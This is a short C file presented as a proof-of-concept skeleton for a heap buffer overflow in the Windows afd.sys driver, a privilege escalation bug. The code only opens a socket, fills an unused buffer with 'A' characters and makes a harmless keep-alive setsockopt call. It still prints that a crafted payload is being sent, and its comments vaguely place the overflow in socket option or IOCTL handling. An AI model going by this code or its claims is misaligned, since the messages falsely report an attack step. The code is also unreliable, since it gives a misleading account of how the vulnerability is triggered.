// PoC skeleton for CVE-2026-21236 — afd.sys heap buffer overflow
// Windows Ancillary Function Driver for WinSock Elevation of Privilege
// Compile: cl poc_cve_2026_21236.c /Fe:poc_cve_2026_21236.exe

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

int main() {
    WSADATA wsa;
    SOCKET s;
    struct sockaddr_in addr;
    char payload[4096];

    printf("[*] CVE-2026-21236 PoC skeleton — afd.sys heap buffer overflow\n");
    printf("[*] Target: Windows Ancillary Function Driver for WinSock\n\n");

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        printf("[-] WSAStartup failed\n");
        return 1;
    }

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) {
        printf("[-] socket() failed\n");
        WSACleanup();
        return 1;
    }

    // Craft payload to trigger heap buffer overflow in afd.sys
    // The overflow occurs during socket option processing or buffer copy
    memset(payload, 'A', sizeof(payload));
    payload[sizeof(payload) - 1] = '\0';

    printf("[+] Socket created: %llu\n", (ULONG64)s);
    printf("[+] Sending crafted payload (%zu bytes)...\n", sizeof(payload));

    // Attempt to trigger the vulnerable path via setsockopt or ioctl
    int optval = 1;
    int result = setsockopt(s, SOL_SOCKET, SO_KEEPALIVE, (char*)&optval, sizeof(optval));
    printf("[+] setsockopt result: %d\n", result);

    // The actual trigger requires specific IOCTL or AFD internal operation
    // that exercises the vulnerable buffer copy path.
    printf("[*] To fully trigger: exercise Winsock AFD internal IOCTL path\n");
    printf("[*] with oversized buffer / malformed socket state.\n");

    closesocket(s);
    WSACleanup();
    printf("[+] Done.\n");
    return 0;
}